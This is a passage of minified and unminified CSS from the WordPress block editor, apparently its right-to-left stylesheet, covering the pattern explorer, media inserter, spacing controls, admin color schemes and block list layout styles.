  text-align:right;
  width:100%;
}
.block-editor-block-patterns-explorer__search{
  margin-bottom:32px;
}
.block-editor-block-patterns-explorer__search-results-count{
  padding-bottom:32px;
}
.block-editor-block-patterns-explorer__list{
  margin-right:280px;
  padding:24px 0 32px;
}
.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{
  width:380px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list{
  display:grid;
  grid-gap:32px;
  grid-template-columns:repeat(1, 1fr);
  margin-bottom:16px;
}
@media (min-width:1080px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(2, 1fr);
  }
}
@media (min-width:1440px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(3, 1fr);
  }
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  min-height:240px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-preview__container{
  height:inherit;
  max-height:800px;
  min-height:100px;
}

.block-editor-inserter__patterns-category-panel-title{
  font-size:16.25px;
}
.block-editor-inserter__media-tabs-container,.block-editor-inserter__media-tabs-container nav{
  height:100%;
}
.block-editor-inserter__media-tabs-container .block-editor-inserter__media-library-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__media-tabs{
  display:flex;
  flex-direction:column;
  height:100%;
  overflow-y:auto;
  padding:16px;
}
.block-editor-inserter__media-tabs div[role=listitem]:last-child{
  margin-top:auto;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category{
  padding-left:4px;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected{
  color:var(--wp-admin-theme-color);
  position:relative;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected .components-flex-item{
  filter:brightness(.95);
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected svg{
  fill:var(--wp-admin-theme-color);
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-inserter__media-dialog{
  background:#f0f0f0;
  border-left:1px solid #e0e0e0;
  border-right:1px solid #e0e0e0;
  height:100%;
  overflow-y:auto;
  padding:16px 24px;
  position:absolute;
  right:0;
  scrollbar-gutter:stable both-edges;
  top:0;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__media-dialog{
    display:block;
    right:100%;
    width:300px;
  }
}
.block-editor-inserter__media-dialog .block-editor-block-preview__container{
  box-shadow:0 15px 25px #00000012;
}
.block-editor-inserter__media-dialog .block-editor-block-preview__container:hover{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}

.block-editor-inserter__media-panel{
  display:flex;
  flex-direction:column;
  min-height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel{
    padding:0;
  }
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{
  align-items:center;
  display:flex;
  flex:1;
  height:100%;
  justify-content:center;
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){
  --wp-components-color-background:#fff;
}

.block-editor-inserter__media-list{
  margin-top:16px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item[draggable=true] .block-editor-block-preview__container{
  cursor:grab;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{
  display:block;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{
  left:8px;
  position:absolute;
  top:8px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{
  background:#fff;
  border-radius:2px;
  display:none;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{
  display:block;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item{
  height:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{
  align-items:center;
  border-radius:2px;
  display:flex;
  overflow:hidden;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{
  margin:0 auto;
  max-width:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{
  align-items:center;
  background:#ffffffb3;
  display:flex;
  height:100%;
  justify-content:center;
  pointer-events:none;
  position:absolute;
  width:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{
  min-width:auto;
}

.block-editor-inserter__mobile-tab-navigation{
  height:100%;
  padding:16px;
}
.block-editor-inserter__mobile-tab-navigation>*{
  height:100%;
}

@media (min-width:600px){
  .block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{
    max-width:480px;
  }
}
.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{
  margin:0;
}

.block-editor-inserter__hint{
  margin:16px 16px 0;
}

.reusable-blocks-menu-items__rename-hint{
  align-items:top;
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  max-width:380px;
}

.reusable-blocks-menu-items__rename-hint-content{
  margin:12px 12px 12px 0;
}

.reusable-blocks-menu-items__rename-hint-dismiss{
  margin:4px 0 4px 4px;
}

.components-menu-group .reusable-blocks-menu-items__rename-hint{
  margin:0;
}

.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{
  height:40px;
}

.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{
  align-items:center;
  display:flex;
  flex:1;
  height:40px;
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range>.components-base-control__field,.spacing-sizes-control .spacing-sizes-control__range-control>.components-base-control__field{
  flex:1;
}
.spacing-sizes-control .components-range-control__mark{
  background-color:#fff;
  height:4px;
  width:3px;
  z-index:1;
}
.spacing-sizes-control .components-range-control__marks{
  margin-top:17px;
}
.spacing-sizes-control .components-range-control__marks :first-child{
  display:none;
}
.spacing-sizes-control .components-range-control__thumb-wrapper{
  z-index:3;
}

.spacing-sizes-control__header{
  height:16px;
  margin-bottom:12px;
}

.spacing-sizes-control__dropdown{
  height:24px;
}

.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{
  flex:1;
}

.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{
  flex:0 0 auto;
}

.spacing-sizes-control__icon{
  margin-right:-4px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:initial}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){border-radius:2px}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.4;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{box-shadow:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;outline:2px solid #0000;pointer-events:none;position:absolute;right:1px;top:1px;z-index:1}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{border-radius:2px;border-top:4px solid #ccc;bottom:auto;box-shadow:none;content:"";left:0;pointer-events:none;position:absolute;right:0;top:-14px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;z-index:0}.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{border-color:var(--wp-admin-theme-color)}.has-multi-selection .block-editor-block-list__layout{-webkit-user-select:none;user-select:none}.block-editor-block-list__layout [class^=components-]{-webkit-user-select:text;user-select:text}.is-block-moving-mode.block-editor-block-list__block-selection-button{font-size:1px;height:1px;opacity:0;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative;-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:#fff6;border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:initial}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 1px var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:unset}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}@keyframes block-editor-has-editable-outline__fade-out-animation{0%{border-color:rgba(var(--wp-admin-theme-color--rgb),1)}to{border-color:rgba(var(--wp-admin-theme-color--rgb),0)}}.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{animation:block-editor-has-editable-outline__fade-out-animation .3s ease-out;animation-delay:1s;animation-fill-mode:forwards;border:1px dotted rgba(var(--wp-admin-theme-color--rgb),1);border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}@media (prefers-reduced-motion:reduce){.is-root-container:not([inert]) .block-editor-block-list__block.has-editable-outline:after{animation-delay:0s;animation-duration:1ms}}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition-delay:0s;transition-duration:0s}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:right;margin-left:2em}.wp-site-blocks>[data-align=right]{float:left;margin-right:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;transition:padding .2s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-delay:0s;transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-iframe__body{transform-origin:top center;transition:all .3s}.is-vertical .block-list-appender{margin-left:auto;margin-right:12px;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay:before{background:#0000;border:none;border-radius:2px;content:"";height:100%;position:absolute;right:0;top:0;width:100%;z-index:10}.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{content:none!important}.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-block-synced-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-block-synced-color) inset}.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{right:calc(50% - 50vw);width:100vw}.block-editor-block-list__layout .is-dragging{background-color:currentColor!important;border-radius:2px!important;opacity:.05!important;pointer-events:none!important}.block-editor-block-list__layout .is-dragging::selection{background:#0000!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:flex-start;list-style:none;margin:16px 0;padding:0;width:100%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{flex-shrink:1;list-style:none;margin:8px 0 0 20px;text-align:center;width:75px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-left:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-right:0}.block-editor-block-variation-picker__variation:last-child{margin-left:0}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.block-editor-button-block-appender.components-button.components-button{padding:12px}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{pointer-events:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{visibility:hidden}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{border:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6;transition:background-color .2s ease-in-out}@media (prefers-reduced-motion:reduce){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:none}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid #0000}.block-editor-default-block-appender .block-editor-default-block-appender__content{opacity:.62}:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{margin-block-start:0}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{left:0;line-height:0;position:absolute;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender 